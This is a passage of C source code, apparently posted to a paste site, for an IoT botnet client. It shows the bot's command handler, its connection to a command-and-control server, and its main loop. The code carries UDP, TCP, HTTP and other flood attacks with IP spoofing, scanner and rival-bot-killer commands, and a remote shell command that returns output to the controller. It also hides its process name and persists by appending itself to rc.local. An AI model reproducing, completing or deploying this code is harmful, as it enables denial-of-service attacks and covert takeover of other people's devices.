  2781. sockprintf(mainCommSock, "STOPPING SCANNER");
  2782. scanPid = 0;
  2783. }
  2784. if(!strcmp(argv[1], "ON"))
  2785. {
  2786. if(scanPid != 0) return;
  2787. uint32_t parent;
  2788. parent = fork();
  2789. int threads = 1000;//if you change this it adds more threads to the scanner but will also fuck your bots.
  2790. int timeout = 10;
  2791. if (parent > 0) { scanPid = parent; return;}
  2792. else if(parent == -1) return;
  2793. sockprintf(mainCommSock, "STARTING SCANNER ON -> %s", inet_ntoa(ourIP));
  2794. StartTheLelz(timeout, threads);
  2795. _exit(0);
  2796. }
  2797. }
  2798.  
  2799. if(!strcmp(argv[0], "NETIS"))
  2800. {
  2801.  
  2802.  
  2803. if(!strcmp(argv[1], "OFF"))
  2804. {
  2805. if(scanPid == 0) return;
  2806. kill(scanPid, 9);
  2807. sockprintf(mainCommSock, "STOPPING NETIS SCANNER", inet_ntoa(ourIP));
  2808. scanPid = 0;
  2809. }
  2810.  
  2811. if(!strcmp(argv[1], "ON"))
  2812. {
  2813. if(scanPid != 0) return;
  2814. uint32_t parent;
  2815. parent = fork();
  2816.  
  2817. if (parent > 0) { scanPid = parent; return;}
  2818. else if(parent == -1) return;
  2819. sockprintf(mainCommSock, "STARTING NETIS SCANNER", inet_ntoa(ourIP));
  2820. NetisScanner();
  2821. _exit(0);
  2822. }
  2823. }
  2824.  
  2825. if(!strcmp(argv[0], "REMOVER"))
  2826. {
  2827. if(!listFork())
  2828. {
  2829. sockprintf(mainCommSock, "COMMENCING BOT KILL ON -> %s", inet_ntoa(ourIP));
  2830. botkiller();
  2831. _exit(0);
  2832. }
  2833. }
  2834.  
  2835. if(!strcmp(argv[0], "GETPUBLICIP"))
  2836. {
  2837. sockprintf(mainCommSock, "My Public IP: %s", inet_ntoa(ourIP));
  2838. return;
  2839. }
  2840.  
  2841. if(!strcmp(argv[0], "UDP"))
  2842. {
  2843. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65536 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  2844. {
  2845. sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask> <packet size> <poll interval> <sleep check> <sleep time(ms)>");
  2846. return;
  2847. }
  2848.  
  2849. unsigned char *ip = argv[1];
  2850. int port = atoi(argv[2]);
  2851. int time = atoi(argv[3]);
  2852. int spoofed = atoi(argv[4]);
  2853. int packetsize = atoi(argv[5]);
  2854. int pollinterval = (argc > 6 ? atoi(argv[6]) : 1000);
  2855. int sleepcheck = (argc > 7 ? atoi(argv[7]) : 1000000);
  2856. int sleeptime = (argc > 8 ? atoi(argv[8]) : 0);
  2857.  
  2858. if(strstr(ip, ",") != NULL)
  2859. {
  2860. unsigned char *hi = strtok(ip, ",");
  2861. while(hi != NULL)
  2862. {
  2863. if(!listFork())
  2864. {
  2865. sendUDP(hi, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
  2866. _exit(0);
  2867. }
  2868. hi = strtok(NULL, ",");
  2869. }
  2870. } else {
  2871. if (!listFork()){
  2872. sendUDP(ip, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
  2873. _exit(0);
  2874. }
  2875. }
  2876. return;
  2877. }
  2878.  
  2879. if(!strcmp(argv[0], "TCP"))
  2880. {
  2881. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  2882. {
  2883. sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
  2884. return;
  2885. }
  2886.  
  2887. unsigned char *ip = argv[1];
  2888. int port = atoi(argv[2]);
  2889. int time = atoi(argv[3]);
  2890. int spoofed = atoi(argv[4]);
  2891. unsigned char *flags = argv[5];
  2892.  
  2893. int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  2894. int psize = argc > 6 ? atoi(argv[6]) : 0;
  2895.  
  2896. if(strstr(ip, ",") != NULL)
  2897. {
  2898. unsigned char *hi = strtok(ip, ",");
  2899. while(hi != NULL)
  2900. {
  2901. if(!listFork())
  2902. {
  2903. sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  2904. _exit(0);
  2905. }
  2906. hi = strtok(NULL, ",");
  2907. }
  2908. } else {
  2909. if (!listFork()) {
  2910. sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  2911. _exit(0);
  2912. }
  2913. }
  2914. }
  2915. if (!strcmp((const char *)argv[0], "HTTP")) {
  2916. if (argc < 6)
  2917. {
  2918. return;
  2919. }
  2920.  
  2921. if (strstr((const char *)argv[1], ",") != NULL) {
  2922. unsigned char *hi = (unsigned char *)strtok((char *)argv[1], ",");
  2923. while (hi != NULL) {
  2924. if (!listFork()) {
  2925. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  2926. _exit(0);
  2927. }
  2928. hi = (unsigned char *)strtok(NULL, ",");
  2929. }
  2930. } else {
  2931. if (listFork()) {
  2932. return;
  2933. }
  2934. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  2935. _exit(0);
  2936. }
  2937. }
  2938.  
  2939. if(!strcmp(argv[0], "CNC"))
  2940. {
  2941. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2942. {
  2943. sockprintf(mainCommSock, "CNC <target> <port> <time>");
  2944. return;
  2945. }
  2946.  
  2947. unsigned char *ip = argv[1];
  2948. int port = atoi(argv[2]);
  2949. int time = atoi(argv[3]);
  2950.  
  2951. if(strstr(ip, ",") != NULL)
  2952. {
  2953. unsigned char *hi = strtok(ip, ",");
  2954. while(hi != NULL)
  2955. {
  2956. if(!listFork())
  2957. {
  2958. sendCNC(hi, port, time);
  2959. close(mainCommSock);
  2960. _exit(0);
  2961. }
  2962. hi = strtok(NULL, ",");
  2963. }
  2964. } else {
  2965. if (listFork()) { return; }
  2966.  
  2967. sendCNC(ip, port, time);
  2968. _exit(0);
  2969. }
  2970. }
  2971.  
  2972. if(!strcmp(argv[0], "STD"))
  2973. {
  2974. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2975. {
  2976. sockprintf(mainCommSock, "STD <target> <port> <time>");
  2977. return;
  2978. }
  2979.  
  2980. unsigned char *ip = argv[1];
  2981. int port = atoi(argv[2]);
  2982. int time = atoi(argv[3]);
  2983.  
  2984. if(strstr(ip, ",") != NULL)
  2985. {
  2986. unsigned char *hi = strtok(ip, ",");
  2987. while(hi != NULL)
  2988. {
  2989. if(!listFork())
  2990. {
  2991. sendSTD(hi, port, time);
  2992. _exit(0);
  2993. }
  2994. hi = strtok(NULL, ",");
  2995. }
  2996. } else {
  2997. if (listFork()) { return; }
  2998.  
  2999. sendSTD(ip, port, time);
  3000. _exit(0);
  3001. }
  3002.  
  3003. }
  3004.  
  3005. if(!strcmp(argv[0], "KILLATTK"))
  3006. {
  3007. int killed = 0;
  3008. unsigned long i;
  3009. for (i = 0; i < numpids; i++) {
  3010. if (pids[i] != 0 && pids[i] != getpid()) {
  3011. kill(pids[i], 9);
  3012. killed++;
  3013. }
  3014. }
  3015.  
  3016. if(killed > 0)
  3017. {
  3018. sockprintf(mainCommSock, "Killed %d.", killed);
  3019. } else {
  3020. sockprintf(mainCommSock, "None Killed.");
  3021. }
  3022. }
  3023.  
  3024. if(!strcmp(argv[0], "LOLNOGTFO"))
  3025. {
  3026. exit(0);
  3027. }
  3028. }
  3029.  
  3030. int initConnection()
  3031. {
  3032. unsigned char server[4096];
  3033. memset(server, 0, 4096);
  3034. if(mainCommSock) { close(mainCommSock); mainCommSock = 0; }
  3035. if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  3036. else currentServer++;
  3037.  
  3038. strcpy(server, PromServer[currentServer]);
  3039. int port = 23;
  3040. if(strchr(server, ':') != NULL)
  3041. {
  3042. port = atoi(strchr(server, ':') + 1);
  3043. *((unsigned char *)(strchr(server, ':'))) = 0x0;
  3044. }
  3045.  
  3046. mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  3047.  
  3048. if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  3049.  
  3050. return 0;
  3051. }
  3052.  
  3053. int getOurIP()
  3054. {
  3055. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  3056. if(sock == -1) return 0;
  3057.  
  3058. struct sockaddr_in serv;
  3059. memset(&serv, 0, sizeof(serv));
  3060. serv.sin_family = AF_INET;
  3061. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  3062. serv.sin_port = htons(53);
  3063.  
  3064. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  3065. if(err == -1) return 0;
  3066.  
  3067. struct sockaddr_in name;
  3068. socklen_t namelen = sizeof(name);
  3069. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  3070. if(err == -1) return 0;
  3071.  
  3072. ourIP.s_addr = name.sin_addr.s_addr;
  3073.  
  3074. int cmdline = open("/proc/net/route", O_RDONLY);
  3075. char linebuf[4096];
  3076. while(fdgets(linebuf, 4096, cmdline) != NULL)
  3077. {
  3078. if(strstr(linebuf, "\t00000000\t") != NULL)
  3079. {
  3080. unsigned char *pos = linebuf;
  3081. while(*pos != '\t') pos++;
  3082. *pos = 0;
  3083. break;
  3084. }
  3085. memset(linebuf, 0, 4096);
  3086. }
  3087. close(cmdline);
  3088.  
  3089. if(*linebuf)
  3090. {
  3091. int i;
  3092. struct ifreq ifr;
  3093. strcpy(ifr.ifr_name, linebuf);
  3094. ioctl(sock, SIOCGIFHWADDR, &ifr);
  3095. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  3096. }
  3097.  
  3098. close(sock);
  3099. }
  3100.  
  3101. char *getBuild()
  3102. {
  3103. #ifdef MIPS_BUILD
  3104. return "MIPS";
  3105. #elif MIPSEL_BUILD
  3106. return "MIPSEL";
  3107. #elif X86_BUILD
  3108. return "X86";
  3109. #elif ARM_BUILD
  3110. return "ARM";
  3111. #elif PPC_BUILD
  3112. return "POWERPC";
  3113. #else
  3114. return "PROMETHEUS";
  3115. #endif
  3116. }
  3117.  
  3118. int main(int argc, unsigned char *argv[])
  3119. {
  3120. char *mynameis = "";
  3121. if(SERVER_LIST_SIZE <= 0) return 0;
  3122. strncpy(argv[0],"",strlen(argv[0]));
  3123. argv[0] = "";
  3124. prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  3125. srand(time(NULL) ^ getpid());
  3126. init_rand(time(NULL) ^ getpid());
  3127. pid_t pid1;
  3128. pid_t pid2;
  3129. int status;
  3130. int dupthing = 0;
  3131.  
  3132. char cwd[256],*str;
  3133. FILE *file;
  3134. str="/etc/rc.d/rc.local";
  3135. file=fopen(str,"r");
  3136. if (file == NULL) {
  3137. str="/etc/rc.conf";
  3138. file=fopen(str,"r");
  3139. }
  3140. if (file != NULL) {
  3141. char outfile[256], buf[1024];
  3142. int i=strlen(argv[0]), d=0;
  3143. getcwd(cwd,256);
  3144. if (strcmp(cwd,"/")) {
  3145. while(argv[0][i] != '/') i--;
  3146. sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  3147. while(!feof(file)) {
  3148. fgets(buf,1024,file);
  3149. if (!strcasecmp(buf,outfile)) d++;
  3150. }
  3151. if (d == 0) {
  3152. FILE *out;
  3153. fclose(file);
  3154. out=fopen(str,"a");
  3155. if (out != NULL) {
  3156. fputs(outfile,out);
  3157. fclose(out);
  3158. }
  3159. }
  3160. else fclose(file);
  3161. }
  3162. else fclose(file);
  3163. }
  3164.  
  3165. getOurIP();
  3166.  
  3167. if (pid1 = fork()) {
  3168. waitpid(pid1, &status, 0);
  3169. exit(0);
  3170. } else if (!pid1) {
  3171. if (pid2 = fork()) {
  3172. exit(0);
  3173. } else if (!pid2) {
  3174. } else {
  3175. zprintf("fork failed\n");
  3176. }
  3177. } else {
  3178. zprintf("fork failed\n");
  3179. }
  3180.  
  3181. setsid();
  3182. chdir("/");
  3183.  
  3184. signal(SIGPIPE, SIG_IGN);
  3185.  
  3186. while(1)
  3187. {
  3188. if(initConnection()) { sleep(30); continue; }
  3189.  
  3190. sockprintf(mainCommSock, "BUILD %s:%s", getBuild(), inet_ntoa(ourIP));
  3191.  
  3192. char commBuf[4096];
  3193. int got = 0;
  3194. int i = 0;
  3195. while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  3196. {
  3197. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  3198. unsigned int *newpids, on;
  3199. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  3200. pids[on - 1] = 0;
  3201. numpids--;
  3202. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  3203. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  3204. free(pids);
  3205. pids = newpids;
  3206. }
  3207.  
  3208. commBuf[got] = 0x00;
  3209.  
  3210. trim(commBuf);
  3211.  
  3212. if(strstr(commBuf, "PING") == commBuf)
  3213. {
  3214. sockprintf(mainCommSock, "PONG");
  3215. continue;
  3216. }
  3217. if(strstr(commBuf, "DUP") == commBuf){
  3218. dupthing++;
  3219. zprintf("PEACE OUT IMMA DUP\n");
  3220. if(dupthing > 20){
  3221. exit(0);
  3222. }
  3223. break;
  3224. }
  3225.  
  3226. unsigned char *message = commBuf;
  3227.  
  3228. if(*message == '!')
  3229. {
  3230. unsigned char *nickMask = message + 1;
  3231. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  3232. if(*nickMask == 0x00) continue;
  3233. *(nickMask) = 0x00;
  3234. nickMask = message + 1;
  3235.  
  3236. message = message + strlen(nickMask) + 2;
  3237. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  3238.  
  3239. unsigned char *command = message;
  3240. while(*message != ' ' && *message != 0x00) message++;
  3241. *message = 0x00;
  3242. message++;
  3243.  
  3244. unsigned char *tmpcommand = command;
  3245. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  3246.  
  3247. if(strcmp(command, "SH") == 0)
  3248. {
  3249. unsigned char buf[1024];
  3250. int command;
  3251. if (listFork()) continue;
  3252. memset(buf, 0, 1024);
  3253. szprintf(buf, "%s 2>&1", message);
  3254. command = fdpopen(buf, "r");
  3255. while(fdgets(buf, 1024, command) != NULL)
  3256. {
  3257. trim(buf);
  3258. sockprintf(mainCommSock, "%s", buf);
  3259. memset(buf, 0, 1024);
  3260. sleep(1);
  3261. }
  3262. fdpclose(command);
  3263. exit(0);
  3264. }
  3265.  
  3266. unsigned char *params[10];
  3267. int paramsCount = 1;
  3268. unsigned char *pch = strtok(message, " ");
  3269. params[0] = command;
  3270.  
  3271. while(pch)
  3272. {
  3273. if(*pch != '\n')
  3274. {
  3275. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  3276. memset(params[paramsCount], 0, strlen(pch) + 1);
  3277. strcpy(params[paramsCount], pch);
  3278. paramsCount++;
  3279. }
  3280. pch = strtok(NULL, " ");
  3281. }
  3282.  
  3283. processCmd(paramsCount, params);
  3284.  
  3285. if(paramsCount > 1)
  3286. {
  3287. int q = 1;
  3288. for(q = 1; q < paramsCount; q++)
  3289. {
  3290. free(params[q]);
  3291. }
  3292. }
  3293. }
  3294. }
  3295. }
  3296.  
  3297. return 0;
  3298. printf("client exiting");
  3299. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement